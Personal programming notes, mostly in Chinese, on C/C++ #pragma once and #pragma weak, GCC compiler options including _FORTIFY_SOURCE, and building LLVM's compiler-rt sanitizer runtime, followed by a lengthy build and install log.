#pragma once 是 C 和 C++ 語言裡避免多次 include 的方式，用途跟 #include guards 一樣，但是更簡單、方便，雖然不是語言標準，但是大部分的編譯器都支援。

Use¶

#include guards¶

#ifndef XXX_H
#define XXX_H

struct foo {
    int member;
};

#endif

#pragma once¶

#pragma once

struct foo {
    int member;
};

Reference¶

pragma weak¶

#pragma weak 是 C 和 C++ 語言裡宣告 weak symbol 的方式，在 C 和 C++ 的規範中並未定義 weak symbol 的使用，所以只好使用 #pragma 來支援，而這就會有不 portable 的問題 (各平台狀況不一樣)。

#pragma weak symbol_name

int symbol_name(int x);

weak symbol 為 ELF 在 linking 時的一種標示，一般的狀況下 symbol 都是 strong 的，但是可以特別指定某些 symbol 為 weak，如此一來在 linking 的時候，同樣名字的 strong symbol 可以蓋掉 weak symbol，不然兩個同名的 strong symbol 一起出現會造成 link-time error。在 linking 執行檔時，weak symbol 可以沒有 definition，但是 strong symbol 一定要有 definition，不然會有 undefined symbol 的錯誤。

藉由 weak symbol 的方式，程式可以提供預設的實作，並且可以在 link-time 時提供被換掉的可能性 (換成該平台上效能更好的實作)，或者可以做客制化。

程式的 symbols 可以使用 nm 這個指令來觀看，有 definition 的 weak function symbol 會標 “W”，沒有 definition 的 weak function symbol 會標 “w”， weak variable symbol 會標 “V” 或 “v”，範例：

// hello.c

#include <stdio.h>

#pragma weak hello
#pragma weak hello_var

int hello_var;

void hello () {
    printf("Hello World!\n");
}

int main () {
    hello();
    return 0;
}

$ gcc hello.c -o hello
$ nm hello | grep hello
0000000000400596 W hello
00000000004019dc V hello_var

Reference¶

Undefined Behavior¶

A Guide to Undefined Behavior in C and C++, Part 1

Compiler Options¶

GCC¶

Common¶

-Ofast : -O3 + optimizations that are not valid for all standard-compliant programs
-march=native : 針對現在的 CPU 做優化，出來的程式不保證在其他 CPU 上會 work
- 通用於 GCC 和 Clang
-flto : Link Time Optimization
-m32 : 32 bits
-m64 : 64 bits
-dumpspecs : 產生 specs file
-fPIC : generate position independent code
-fpic : generate position independent code
- platform-dependent
- may produce smaller code than -fPIC
- may be a little bit faster
-march=native -Q --help=target : 輸出 GCC 在目前機器上使用 -march=native 參數會打開的優化選項
- -Q --help=target 只適用於 GCC
-fdump-tree-original
-D_FORTIFY_SOURCE
- http://stackoverflow.com/questions/13517526/difference-between-gcc-d-fortify-source-1-and-d-fortify-source-2
- man 7 feature_test_macros
- 好像會有 function 的 memory (frame) 的 checksum 檢查，避免有蓋值發生？

_FORTIFY_SOURCE (since glibc 2.3.4)
        Defining this macro causes some lightweight checks to be performed to detect some buffer overflow  errors
        when  employing  various  string  and  memory  manipulation functions (for example, memcpy(3), memset(3),
        stpcpy(3),  strcpy(3),  strncpy(3),  strcat(3),   strncat(3),   sprintf(3),   snprintf(3),   vsprintf(3),
        vsnprintf(3), gets(3), and wide character variants thereof).  For some functions, argument consistency is
        checked; for example, a check is made that open(2) has been supplied with a mode argument when the speci‐
        fied flags include O_CREAT.  Not all problems are detected, just some common cases.

        If  _FORTIFY_SOURCE  is  set  to  1,  with compiler optimization level 1 (gcc -O1) and above, checks that
        shouldn't change the behavior of conforming programs are performed.  With _FORTIFY_SOURCE set to 2,  some
        more checking is added, but some conforming programs might fail.

        Some of the checks can be performed at compile time (via macros logic implemented in header files), and
        result in compiler warnings; other checks take place at run time, and result in a run-time error  if  the
        check fails.

        Use of this macro requires compiler support, available with gcc(1) since version 4.0.

-E -v -
- [gcc|clang] -v -E -march=native -
-rdynamic
- http://stackoverflow.com/questions/10599038/can-i-skip-cmake-compiler-tests-or-avoid-error-unrecognized-option-rdynamic
- http://stackoverflow.com/questions/31212393/unrecognized-command-line-option-rdynamic-on-gcc-v4-9-2

Reference¶

LLVM - compiler-rt ¶

Table of Contents

LLVM - compiler-rt

instrument SQLite
grep 'FIXME' -r llvm/
- Python 3 (and LLDB)

Clang on x86_64 -> Clang on x86_64 with ASAN lib for ARM -> Zygote with ASAN for Android/ARM

Introduction ¶

compiler-rt 官網
LLVM - compiler-rt
[GitHub] llvm-mirror/compiler-rt
/usr/lib/clang/3.6.2/lib/linux/libclang_rt.asan-x86_64.a

Build From Source ¶

# http://clang.llvm.org/get_started.html

svn co http://llvm.org/svn/llvm-project/llvm/trunk llvm

cd llvm/tools
svn co http://llvm.org/svn/llvm-project/cfe/trunk clang
cd ../..

cd llvm/projects
svn co http://llvm.org/svn/llvm-project/compiler-rt/trunk compiler-rt
cd ../..

mkdir build
cd build
cmake -G "Unix Makefiles" ../llvm
make -j8
make install

如果系統已經有 llvm-config 的話可以使用以下方式只編 compiler-rt 的部份：

# if you have llvm-config

git clone https://github.com/llvm-mirror/compiler-rt/
mkdir build
cd build
cmake ../compiler-rt -DLLVM_CONFIG_PATH=`which llvm-config`
make

Clang On ARM ¶

Cross Compile Android Program To ARM ¶

Build For Android/ARM ¶

LD='arm-none-eabi-ld' CC='clang' CXX='clang++' cmake -G Ninja ../llvm-arm \
    -DCMAKE_LINKER=`which arm-none-eabi-ld` \
    -DCMAKE_CXX_LINK_EXECUTABLE='<CMAKE_LINKER> <FLAGS> <CMAKE_CXX_LINK_FLAGS> <LINK_FLAGS> <OBJECTS> -o <TARGET> <LINK_LIBRARIES>' \
    -DCMAKE_CROSSCOMPILING=True \
    -DCMAKE_INSTALL_PREFIX=/opt \
    -DLLVM_TABLEGEN=`which llvm-tblgen` \
    -DCLANG_TABLEGEN=`which clang-tblgen` \
    -DLLVM_DEFAULT_TARGET_TRIPLE=arm-linux-gnueabihf \
    -DLLVM_TARGET_ARCH=ARM \
    -DLLVM_TARGETS_TO_BUILD=ARM \
    -DCMAKE_CXX_FLAGS='-target armv7a-linux-gnueabihf -mcpu=cortex-a9 -I/usr/arm-none-eabi/include/c++/5.2.0/arm-none-eabi/ -I/usr/arm-none-eabi/include/ -mfloat-abi=hard -ccc-gcc-name arm-linux-gnueabihf-gcc' \
    -DCMAKE_BUILD_TYPE=Release \
    -DCMAKE_C_COMPILER=`which arm-none-eabi-clang` \
    -DCMAKE_CXX_COMPILER=`which arm-none-eabi-clang++` \
    -DLLVM_ENABLE_ASSERTIONS=ON
    #-DLLVM_EXTERNAL_COMPILER_RT_SOURCE_DIR=../compiler-rt

Standalone ¶

https://llvm.org/bugs/show_bug.cgi?id=18331

Languages ¶

Addr2Line ¶

Support inline functions symbolization in Addr2Line symbolizer.

Reference ¶

CppCon 2014: Kostya Serebryany “Sanitize your C++ code”
CppCon 2015: Beyond Sanitizers
GCC Undefined Behavior Sanitizer – ubsan
The Chromium Projects - AddressSanitizer (ASan)
The LLVM gold plugin
lld - The LLVM Linker
LLVM 研究 - 3.4.2
search : site:llvmweekly.org compiler-rt sanitizer

LLVM Weekly ¶

[2014-01-31][r200546] Compiler-rt’s CMake files will now compile the library for ARM. Give it a go and see what breaks. r200546.
[2014-01-21][r199729] In compiler-rt, support was added for intercepting and sanitizing arguments passed to printf functions in AddressSanitizer and ThreadSanitizer.
[2014-01-16][r199377] AddressSanitizer in compiler-rt gained the ability to start in ‘deactivated’ mode. It can later be activated when __asan_init is called in an instrumented library.

Installation ¶

[  2%] Built target LLVMSupport
[  3%] Built target LLVMTableGen
[  4%] Built target obj.llvm-tblgen
[  4%] Built target llvm-tblgen
[  4%] Built target intrinsics_gen
[  5%] Built target LLVMCore
[  5%] Built target LLVMIRReader
[ 10%] Built target LLVMCodeGen
[ 11%] Built target LLVMSelectionDAG
[ 11%] Built target LLVMAsmPrinter
[ 11%] Built target LLVMMIRParser
[ 11%] Built target LLVMBitReader
[ 11%] Built target LLVMBitWriter
[ 12%] Built target LLVMTransformUtils
[ 12%] Built target LLVMInstrumentation
[ 14%] Built target LLVMInstCombine
[ 15%] Built target LLVMScalarOpts
[ 16%] Built target LLVMipo
[ 16%] Built target LLVMVectorize
[ 16%] Built target LLVMHello_exports
[ 16%] Built target LLVMHello
[ 17%] Built target LLVMObjCARCOpts
[ 17%] Built target LLVMLinker
[ 20%] Built target LLVMAnalysis
[ 20%] Built target LLVMLTO
[ 22%] Built target LLVMMC
[ 22%] Built target LLVMMCParser
[ 22%] Built target LLVMMCDisassembler
[ 22%] Built target LLVMObject
[ 22%] Built target LLVMOption
[ 23%] Built target LLVMDebugInfoDWARF
[ 24%] Built target LLVMDebugInfoPDB
[ 24%] Built target LLVMExecutionEngine
[ 24%] Built target LLVMInterpreter
[ 24%] Built target LLVMMCJIT
[ 24%] Built target LLVMOrcJIT
[ 24%] Built target LLVMRuntimeDyld
[ 24%] Built target LLVMTarget
[ 24%] Built target AArch64CommonTableGen
[ 25%] Built target LLVMAArch64CodeGen
[ 25%] Built target LLVMAArch64Info
[ 25%] Built target LLVMAArch64AsmParser
[ 27%] Built target LLVMAArch64Disassembler
[ 27%] Built target LLVMAArch64AsmPrinter
[ 27%] Built target LLVMAArch64Desc
[ 27%] Built target LLVMAArch64Utils
[ 28%] Built target AMDGPUCommonTableGen
[ 29%] Built target LLVMAMDGPUCodeGen
[ 29%] Built target LLVMAMDGPUAsmParser
[ 29%] Built target LLVMAMDGPUAsmPrinter
[ 29%] Built target LLVMAMDGPUInfo
[ 29%] Built target LLVMAMDGPUDesc
[ 29%] Built target LLVMAMDGPUUtils
[ 29%] Built target ARMCommonTableGen
[ 30%] Built target LLVMARMCodeGen
[ 30%] Built target LLVMARMInfo
[ 30%] Built target LLVMARMAsmParser
[ 30%] Built target LLVMARMDisassembler
[ 30%] Built target LLVMARMAsmPrinter
[ 31%] Built target LLVMARMDesc
[ 31%] Built target BPFCommonTableGen
[ 31%] Built target LLVMBPFCodeGen
[ 32%] Built target LLVMBPFAsmPrinter
[ 32%] Built target LLVMBPFInfo
[ 32%] Built target LLVMBPFDesc
[ 32%] Built target LLVMCppBackendCodeGen
[ 32%] Built target LLVMCppBackendInfo
[ 34%] Built target HexagonCommonTableGen
[ 35%] Built target LLVMHexagonCodeGen
[ 35%] Built target LLVMHexagonInfo
[ 35%] Built target LLVMHexagonDesc
[ 35%] Built target LLVMHexagonDisassembler
[ 35%] Built target MipsCommonTableGen
[ 36%] Built target LLVMMipsCodeGen
[ 36%] Built target LLVMMipsAsmPrinter
[ 36%] Built target LLVMMipsDisassembler
[ 36%] Built target LLVMMipsInfo
[ 36%] Built target LLVMMipsDesc
[ 36%] Built target LLVMMipsAsmParser
[ 37%] Built target MSP430CommonTableGen
[ 38%] Built target LLVMMSP430CodeGen
[ 38%] Built target LLVMMSP430AsmPrinter
[ 38%] Built target LLVMMSP430Info
[ 38%] Built target LLVMMSP430Desc
[ 40%] Built target NVPTXCommonTableGen
[ 41%] Built target LLVMNVPTXCodeGen
[ 41%] Built target LLVMNVPTXInfo
[ 41%] Built target LLVMNVPTXAsmPrinter
[ 41%] Built target LLVMNVPTXDesc
[ 42%] Built target PowerPCCommonTableGen
[ 42%] Built target LLVMPowerPCCodeGen
[ 42%] Built target LLVMPowerPCAsmParser
[ 43%] Built target LLVMPowerPCDisassembler
[ 44%] Built target LLVMPowerPCAsmPrinter
[ 44%] Built target LLVMPowerPCInfo
[ 44%] Built target LLVMPowerPCDesc
[ 45%] Built target SparcCommonTableGen
[ 47%] Built target LLVMSparcCodeGen
[ 47%] Built target LLVMSparcInfo
[ 47%] Built target LLVMSparcDesc
[ 47%] Built target LLVMSparcAsmPrinter
[ 47%] Built target LLVMSparcAsmParser
[ 47%] Built target LLVMSparcDisassembler
[ 48%] Built target SystemZCommonTableGen
[ 48%] Built target LLVMSystemZCodeGen
[ 49%] Built target LLVMSystemZAsmParser
[ 49%] Built target LLVMSystemZDisassembler
[ 49%] Built target LLVMSystemZAsmPrinter
[ 49%] Built target LLVMSystemZInfo
[ 49%] Built target LLVMSystemZDesc
[ 49%] Built target X86CommonTableGen
[ 50%] Built target LLVMX86CodeGen
[ 50%] Built target LLVMX86AsmParser
[ 50%] Built target LLVMX86Disassembler
[ 50%] Built target LLVMX86AsmPrinter
[ 50%] Built target LLVMX86Desc
[ 50%] Built target LLVMX86Info
[ 50%] Built target LLVMX86Utils
[ 51%] Built target XCoreCommonTableGen
[ 52%] Built target LLVMXCoreCodeGen
[ 52%] Built target LLVMXCoreDisassembler
[ 52%] Built target LLVMXCoreAsmPrinter
[ 52%] Built target LLVMXCoreInfo
[ 52%] Built target LLVMXCoreDesc
[ 52%] Built target LLVMAsmParser
[ 52%] Built target LLVMLineEditor
[ 52%] Built target LLVMProfileData
[ 52%] Built target LLVMPasses
[ 52%] Built target LibOptionsTableGen
[ 52%] Built target LLVMLibDriver
[ 52%] Built target FileCheck
[ 52%] Built target llvm-PerfectShuffle
[ 52%] Built target count
[ 52%] Built target not
[ 52%] Built target yaml-bench
[ 52%] Built target gtest
[ 52%] Built target gtest_main
[ 54%] Built target RTSanitizerCommon.x86_64
[ 54%] Built target RTSanitizerCommonLibc.x86_64
[ 54%] Built target RTInterception.x86_64
[ 54%] Built target clang_rt.dd-x86_64
[ 54%] Built target RTDD.x86_64
[ 54%] Built target clang_rt.dyndd-dynamic-x86_64
[ 54%] Built target dd
[ 54%] Built target compiler-rt-headers
[ 54%] Built target cfi_blacklist
[ 54%] Built target cfi
[ 54%] Built target RTLSanCommon.x86_64
[ 54%] Built target clang_rt.lsan-x86_64
[ 54%] Built target lsan
[ 54%] Built target RTUbsan.x86_64
[ 54%] Built target RTUbsan_standalone.x86_64
[ 54%] Built target clang_rt.ubsan_standalone-x86_64
[ 54%] Built target clang_rt.ubsan_standalone-x86_64-symbols
[ 55%] Built target RTUbsan_cxx.i386
[ 55%] Built target clang_rt.ubsan_standalone_cxx-i386
[ 55%] Built target RTUbsan_cxx.x86_64
[ 55%] Built target clang_rt.ubsan_standalone_cxx-x86_64
[ 55%] Built target clang_rt.ubsan_standalone_cxx-x86_64-symbols
[ 55%] Built target RTUbsan_standalone.i386
[ 56%] Built target RTSanitizerCommon.i386
[ 56%] Built target RTSanitizerCommonLibc.i386
[ 56%] Built target RTUbsan.i386
[ 56%] Built target clang_rt.ubsan_standalone-i386
[ 56%] Built target ubsan
[ 56%] Built target RTAsan_preinit.x86_64
[ 57%] Built target RTAsan.x86_64
[ 57%] Built target clang_rt.asan-x86_64
[ 57%] Built target RTAsan_cxx.x86_64
[ 57%] Built target clang_rt.asan_cxx-x86_64
[ 57%] Built target RTAsan_dynamic_version_script_dummy.i386
[ 58%] Built target RTInterception.i386
[ 58%] Built target RTLSanCommon.i386
[ 60%] Built target RTAsan_dynamic.i386
[ 60%] Built target clang_rt.asan-dynamic-i386
[ 60%] Built target clang_rt.asan_cxx-x86_64-symbols
[ 60%] Built target RTAsan_cxx.i386
[ 60%] Built target clang_rt.asan_cxx-i386
[ 60%] Built target RTAsan.i386
[ 60%] Built target RTAsan_preinit.i386
[ 60%] Built target clang_rt.asan-i386
[ 60%] Built target clang_rt.asan-preinit-i386
[ 60%] Built target clang_rt.asan-x86_64-symbols
[ 60%] Built target clang_rt.asan-preinit-x86_64
[ 60%] Built target asan_blacklist
[ 60%] Built target RTAsan_dynamic_version_script_dummy.x86_64
[ 60%] Built target RTAsan_dynamic.x86_64
[ 60%] Built target clang_rt.asan-dynamic-x86_64
[ 60%] Built target asan
[ 64%] Built target clang_rt.builtins-x86_64
[ 69%] Built target clang_rt.builtins-i386
[ 69%] Built target builtins
[ 69%] Built target dfsan_abilist
[ 69%] Built target clang_rt.dfsan-x86_64
[ 69%] Built target clang_rt.dfsan-x86_64-symbols
[ 69%] Built target dfsan
[ 69%] Built target msan_blacklist
[ 69%] Built target clang_rt.msan_cxx-x86_64
[ 69%] Built target clang_rt.msan_cxx-x86_64-symbols
[ 69%] Built target clang_rt.msan-x86_64
[ 69%] Built target clang_rt.msan-x86_64-symbols
[ 69%] Built target msan
[ 70%] Built target clang_rt.profile-i386
[ 70%] Built target clang_rt.profile-x86_64
[ 70%] Built target profile
[ 70%] Built target clang_rt.tsan_cxx-x86_64
[ 70%] Built target clang_rt.tsan_cxx-x86_64-symbols
[ 71%] Built target clang_rt.tsan-x86_64
[ 71%] Built target clang_rt.tsan-x86_64-symbols
[ 71%] Built target tsan
[ 71%] Built target compiler-rt
[ 71%] Built target RTSanitizerCommonNoLibc.i386
[ 71%] Built target RTSanitizerCommonNoLibc.x86_64
[ 71%] Built target RTSanitizerCommon.test.i386
[ 71%] Built target RTSanitizerCommon.test.nolibc.x86_64
[ 71%] Built target RTSanitizerCommon.test.x86_64
[ 71%] Built target clang_rt.asan-dynamic-x86_64-version-list
[ 71%] Built target RTAsanTest.i386-inline
[ 71%] Built target RTAsanTest.i386-with-calls
[ 71%] Built target RTAsanTest.x86_64-inline
[ 71%] Built target RTAsanTest.x86_64-with-calls
[ 71%] Built target clang_rt.safestack-i386
[ 71%] Built target clang_rt.safestack-x86_64
[ 71%] Built target LTO_exports
[ 71%] Built target LTO
[ 71%] Built target obj.clang-tblgen
[ 71%] Built target clang-tblgen
[ 74%] Built target clang-headers
[ 74%] Built target ClangAttrPCHWrite
[ 74%] Built target ClangAttrClasses
[ 74%] Built target ClangAttrImpl
[ 74%] Built target ClangAttrDump
[ 74%] Built target ClangAttrVisitor
[ 74%] Built target ClangStmtNodes
[ 74%] Built target ClangDeclNodes
[ 74%] Built target ClangCommentNodes
[ 74%] Built target ClangCommentHTMLTags
[ 74%] Built target ClangCommentHTMLTagsProperties
[ 74%] Built target ClangCommentHTMLNamedCharacterReferences
[ 75%] Built target ClangCommentCommandInfo
[ 75%] Built target ClangCommentCommandList
[ 75%] Built target ClangDiagnosticAnalysis
[ 75%] Built target ClangDiagnosticAST
[ 75%] Built target ClangDiagnosticComment
[ 75%] Built target ClangDiagnosticCommon
[ 75%] Built target ClangDiagnosticDriver
[ 75%] Built target ClangDiagnosticFrontend
[ 75%] Built target ClangDiagnosticLex
[ 75%] Built target ClangDiagnosticParse
[ 75%] Built target ClangDiagnosticSema
[ 76%] Built target ClangDiagnosticSerialization
[ 76%] Built target ClangDiagnosticGroups
[ 76%] Built target ClangDiagnosticIndexName
[ 76%] Built target ClangAttrList
[ 76%] Built target ClangAttrHasAttributeImpl
[ 76%] Built target ClangARMNeon
[ 76%] Built target ClangAttrParserStringSwitches
[ 76%] Built target ClangAttrTemplateInstantiate
[ 76%] Built target ClangAttrParsedAttrList
[ 76%] Built target ClangAttrParsedAttrKinds
[ 76%] Built target ClangAttrSpellingListIndex
[ 76%] Built target ClangAttrParsedAttrImpl
[ 76%] Built target ClangAttrPCHRead
[ 77%] Built target clangBasic
[ 78%] Built target clangLex
[ 78%] Built target clangParse
[ 80%] Built target clangAST
[ 80%] Built target clangASTMatchers
[ 80%] Built target clangDynamicASTMatchers
[ 81%] Built target clangSema
[ 82%] Built target clangCodeGen
[ 83%] Built target clangAnalysis
[ 83%] Built target clangEdit
[ 83%] Built target clangRewrite
[ 84%] Built target clangARCMigrate
[ 84%] Built target ClangDriverOptions
[ 85%] Built target clangDriver
[ 85%] Built target clangSerialization
[ 87%] Built target clangFrontend
[ 88%] Built target clangRewriteFrontend
[ 88%] Built target clangFrontendTool
[ 88%] Built target clangTooling
[ 88%] Built target clangToolingCore
[ 88%] Built target clangIndex
[ 89%] Built target clangStaticAnalyzerCore
[ 89%] Built target ClangSACheckers
[ 91%] Built target clangStaticAnalyzerCheckers
[ 92%] Built target clangStaticAnalyzerFrontend
[ 92%] Built target clangFormat
[ 94%] Built target diagtool
[ 94%] Built target clang
[ 94%] Built target clang-format
[ 94%] Built target libclang_exports
[ 94%] Built target libclang
[ 94%] Built target c-index-test
[ 94%] Built target arcmt-test
[ 94%] Built target c-arcmt-test
[ 94%] Built target clang-check
[ 94%] Built target llvm-dis
[ 94%] Built target opt
[ 94%] Built target llvm-mcmarkup
[ 94%] Built target macho-dump
[ 95%] Built target llvm-cov
[ 95%] Built target llvm-lto
[ 95%] Built target llvm-stress
[ 95%] Built target bugpoint
[ 95%] Built target llvm-mc
[ 96%] Built target lli
[ 96%] Built target lli-child-target
[ 96%] Built target llvm-size
[ 96%] Built target llvm-readobj
[ 96%] Built target llvm-bcanalyzer
[ 96%] Built target llvm-dwarfdump
[ 96%] Built target llvm-config
[ 96%] Built target llvm-pdbdump
[ 96%] Built target BugpointPasses_exports
[ 96%] Built target BugpointPasses
[ 96%] Built target llvm-diff
[ 96%] Built target llc
[ 96%] Built target llvm-cxxdump
[ 96%] Built target llvm-profdata
[ 96%] Built target verify-uselistorder
[ 97%] Built target llvm-objdump
[ 97%] Built target llvm-symbolizer
[ 97%] Built target llvm-go
[ 97%] Built target llvm-extract
[ 97%] Built target llvm-nm
[ 98%] Built target llvm-split
[ 98%] Built target llvm-dsymutil
[100%] Built target yaml2obj
[100%] Built target llvm-c-test
[100%] Built target llvm-as
[100%] Built target llvm-link
[100%] Built target obj2yaml
[100%] Built target llvm-ar
[100%] Built target llvm-lib
[100%] Built target llvm-ranlib
[100%] Built target llvm-rtdyld
Install the project...
-- Install configuration: ""
-- Installing: /usr/local/include/llvm
-- Installing: /usr/local/include/llvm/AsmParser
-- Installing: /usr/local/include/llvm/AsmParser/SlotMapping.h
-- Installing: /usr/local/include/llvm/AsmParser/Parser.h
-- Installing: /usr/local/include/llvm/CodeGen
-- Installing: /usr/local/include/llvm/CodeGen/MachineLoopInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/SchedulerRegistry.h
-- Installing: /usr/local/include/llvm/CodeGen/ResourcePriorityQueue.h
-- Installing: /usr/local/include/llvm/CodeGen/CalcSpillWeights.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineMemOperand.h
-- Installing: /usr/local/include/llvm/CodeGen/FaultMaps.h
-- Installing: /usr/local/include/llvm/CodeGen/ParallelCG.h
-- Installing: /usr/local/include/llvm/CodeGen/FunctionLoweringInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/TargetLoweringObjectFileImpl.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineFunctionInitializer.h
-- Installing: /usr/local/include/llvm/CodeGen/SlotIndexes.h
-- Installing: /usr/local/include/llvm/CodeGen/ValueTypes.h
-- Installing: /usr/local/include/llvm/CodeGen/ScheduleHazardRecognizer.h
-- Installing: /usr/local/include/llvm/CodeGen/EdgeBundles.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineFunctionAnalysis.h
-- Installing: /usr/local/include/llvm/CodeGen/SelectionDAGISel.h
-- Installing: /usr/local/include/llvm/CodeGen/GCStrategy.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineSSAUpdater.h
-- Installing: /usr/local/include/llvm/CodeGen/MIRYamlMapping.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineValueType.h
-- Installing: /usr/local/include/llvm/CodeGen/LatencyPriorityQueue.h
-- Installing: /usr/local/include/llvm/CodeGen/GCs.h
-- Installing: /usr/local/include/llvm/CodeGen/RegAllocPBQP.h
-- Installing: /usr/local/include/llvm/CodeGen/LiveVariables.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineInstr.h
-- Installing: /usr/local/include/llvm/CodeGen/FastISel.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineBasicBlock.h
-- Installing: /usr/local/include/llvm/CodeGen/ValueTypes.td
-- Installing: /usr/local/include/llvm/CodeGen/Passes.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineDominators.h
-- Installing: /usr/local/include/llvm/CodeGen/IntrinsicLowering.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineJumpTableInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/LiveIntervalUnion.h
-- Installing: /usr/local/include/llvm/CodeGen/RegisterScavenging.h
-- Installing: /usr/local/include/llvm/CodeGen/StackProtector.h
-- Installing: /usr/local/include/llvm/CodeGen/MIRParser
-- Installing: /usr/local/include/llvm/CodeGen/MIRParser/MIRParser.h
-- Installing: /usr/local/include/llvm/CodeGen/DwarfStringPoolEntry.h
-- Installing: /usr/local/include/llvm/CodeGen/LiveRegMatrix.h
-- Installing: /usr/local/include/llvm/CodeGen/AtomicExpandUtils.h
-- Installing: /usr/local/include/llvm/CodeGen/MachinePassRegistry.h
-- Installing: /usr/local/include/llvm/CodeGen/MachinePostDominators.h
-- Installing: /usr/local/include/llvm/CodeGen/RegisterPressure.h
-- Installing: /usr/local/include/llvm/CodeGen/AsmPrinter.h
-- Installing: /usr/local/include/llvm/CodeGen/GCMetadataPrinter.h
-- Installing: /usr/local/include/llvm/CodeGen/DAGCombine.h
-- Installing: /usr/local/include/llvm/CodeGen/Analysis.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineFrameInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/MachORelocation.h
-- Installing: /usr/local/include/llvm/CodeGen/LivePhysRegs.h
-- Installing: /usr/local/include/llvm/CodeGen/LiveStackAnalysis.h
-- Installing: /usr/local/include/llvm/CodeGen/LexicalScopes.h
-- Installing: /usr/local/include/llvm/CodeGen/DFAPacketizer.h
-- Installing: /usr/local/include/llvm/CodeGen/LinkAllAsmWriterComponents.h
-- Installing: /usr/local/include/llvm/CodeGen/StackMaps.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineModuleInfoImpls.h
-- Installing: /usr/local/include/llvm/CodeGen/PBQP
-- Installing: /usr/local/include/llvm/CodeGen/PBQP/Solution.h
-- Installing: /usr/local/include/llvm/CodeGen/PBQP/Graph.h
-- Installing: /usr/local/include/llvm/CodeGen/PBQP/CostAllocator.h
-- Installing: /usr/local/include/llvm/CodeGen/PBQP/Math.h
-- Installing: /usr/local/include/llvm/CodeGen/PBQP/ReductionRules.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineCombinerPattern.h
-- Installing: /usr/local/include/llvm/CodeGen/RegisterClassInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/PseudoSourceValue.h
-- Installing: /usr/local/include/llvm/CodeGen/ScoreboardHazardRecognizer.h
-- Installing: /usr/local/include/llvm/CodeGen/CommandFlags.h
-- Installing: /usr/local/include/llvm/CodeGen/RuntimeLibcalls.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineScheduler.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineModuleInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/ISDOpcodes.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineRegisterInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/DIEValue.def
-- Installing: /usr/local/include/llvm/CodeGen/WinEHFuncInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineInstrBuilder.h
-- Installing: /usr/local/include/llvm/CodeGen/SelectionDAG.h
-- Installing: /usr/local/include/llvm/CodeGen/BasicTTIImpl.h
-- Installing: /usr/local/include/llvm/CodeGen/RegAllocRegistry.h
-- Installing: /usr/local/include/llvm/CodeGen/CallingConvLower.h
-- Installing: /usr/local/include/llvm/CodeGen/TargetSchedule.h
-- Installing: /usr/local/include/llvm/CodeGen/DIE.h
-- Installing: /usr/local/include/llvm/CodeGen/LiveInterval.h
-- Installing: /usr/local/include/llvm/CodeGen/PBQPRAConstraint.h
-- Installing: /usr/local/include/llvm/CodeGen/ScheduleDAGInstrs.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineFunction.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineConstantPool.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineBlockFrequencyInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/ScheduleDFS.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineOperand.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineTraceMetrics.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineInstrBundle.h
-- Installing: /usr/local/include/llvm/CodeGen/LiveRangeEdit.h
-- Installing: /usr/local/include/llvm/CodeGen/VirtRegMap.h
-- Installing: /usr/local/include/llvm/CodeGen/ScheduleDAG.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineRegionInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineBranchProbabilityInfo.h
-- Installing: /usr/local/include/llvm/CodeGen/LiveIntervalAnalysis.h
-- Installing: /usr/local/include/llvm/CodeGen/GCMetadata.h
-- Installing: /usr/local/include/llvm/CodeGen/LinkAllCodegenComponents.h
-- Installing: /usr/local/include/llvm/CodeGen/SelectionDAGNodes.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineFunctionPass.h
-- Installing: /usr/local/include/llvm/CodeGen/MachineDominanceFrontier.h
-- Installing: /usr/local/include/llvm/Analysis
-- Installing: /usr/local/include/llvm/Analysis/CFGPrinter.h
-- Installing: /usr/local/include/llvm/Analysis/BasicAliasAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/AliasAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/DomPrinter.h
-- Installing: /usr/local/include/llvm/Analysis/SparsePropagation.h
-- Installing: /usr/local/include/llvm/Analysis/BranchProbabilityInfo.h
-- Installing: /usr/local/include/llvm/Analysis/AssumptionCache.h
-- Installing: /usr/local/include/llvm/Analysis/PostDominators.h
-- Installing: /usr/local/include/llvm/Analysis/RegionIterator.h
-- Installing: /usr/local/include/llvm/Analysis/Interval.h
-- Installing: /usr/local/include/llvm/Analysis/ScalarEvolutionExpander.h
-- Installing: /usr/local/include/llvm/Analysis/TypeBasedAliasAnalysis.h
-- Installing: /usr/local/include/llvm/Analysis/IVUsers.h
-- Installing: /usr/local/include/llvm/Analysis/CallGraph.h
-- Installing: /usr/local/include/llvm/Analysis/VectorUtils.h
-- Installing: /usr/local/include/llvm/Analysis/AliasSetTracker.h
-- Installing: /usr/local/include/llvm/Analysis/IntervalPartition.h
-- Installing: /usr/local/include/llvm/Analysis/LazyValueInfo.h
-- Installing: /usr/local/include/llvm/Analysis/IntervalIterator.h
-- Installing: /usr/local/include/llvm/Analysis/OrderedBasicBlock.h
-- Installing: /usr/local/include/llvm/Analysis/ObjCARCAliasAnalysis.h
